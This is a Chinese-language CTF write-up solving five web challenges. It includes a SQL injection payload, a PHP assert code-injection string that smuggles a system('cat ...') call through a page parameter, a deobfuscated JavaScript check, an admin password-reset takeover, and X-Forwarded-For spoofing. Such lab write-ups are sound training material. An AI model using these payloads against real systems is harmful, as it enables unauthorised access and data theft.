国庆就要莫得了 起床刷几道
NewsCenter
mfw
Training-WWW-Robots
NaNNaNNaNNaN-Batman
bug
NewsCenter
search传参那里发现有注入 注入出flag即可 没太大转弯
‘ and 0 union select 1,2,fl4g from secret_table #
mfw
发现git泄露 下载下来看源码
index.php中关键源码:
<?php if (isset($_GET[‘page‘])) { $page = $_GET[‘page‘]; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard ‘..‘ is dangerous! assert("strpos(‘$file‘, ‘..‘) === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists(‘$file‘)") or die("That file doesn‘t exist!"); ?>
assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
$file =templates/ abc‘) or system("cat templates/flag.php");// ".php"
assert("strpos(‘templates/ abc‘) or system("cat templates/flag.php");// ".php"‘, ‘..‘) === false") or die("Detected hacking attempt!");
strpos中传入了abc,所以其肯定返回false,在利用or让其执行system函数,再用" // "将后面的语句注释掉
注意这里之所以能像注入攻击一样执行system函数是因为外面有代码执行函数assert
Training-WWW-Robots
这题莫得意思 看到robots就可以看到flag文件了
NaNNaNNaNNaN-Batman
下载下来个文件,打开发现是一段javascript脚本
eval(_)
改为console.log(_) 控制台输入调试下
function $() { var e=document.getElementById("c").value; if(e.length==16) if(e.match(/^be0f23/)!=null) if(e.match(/233ac/)!=null) if(e.match(/e98aa$/)!=null) if(e.match(/c7be9/)!=null){ var t=["fl","s_a","i","e}"]; var n=["a","_h0l","n"]; var r=["g{","e","_0"]; var i=["it‘","_","n"]; var s=[t,n,r,i]; for(var o=0;o<13;++o) { var a=document.write(s[o%4][0]);s[o%4].splice(0,1) } } } document.write(‘<input id="c"><button οnclick=$()>Ok</button>‘); delete _
这里如果你要正常满足条件输入 然后打印flag
- 输入的字符串长度必须为16个字符
- 字符串的开头必须要匹配
be0f23
- 字符串的结尾必须要匹配
e98aa
- 字符串中要能匹配到
233ac
和c7be9
be0f233ac7be98aa
你直接打印也行
bug
这题有点多 但是不难
打开是个登录
注册号账号后查看是否登陆进去没能找到漏洞
打开修改密码界面,尝试是否有逻辑漏洞
将admin账号的密码成功修改为qing
点击后显示ip不匹配 伪造ip头发现xff可以
源码看到注释
<!-- index.php?module=filemanage&do=???-->
这里就需要fuzz了 看到filemanage大概也知道是upload upfile之类的
上传fuzz下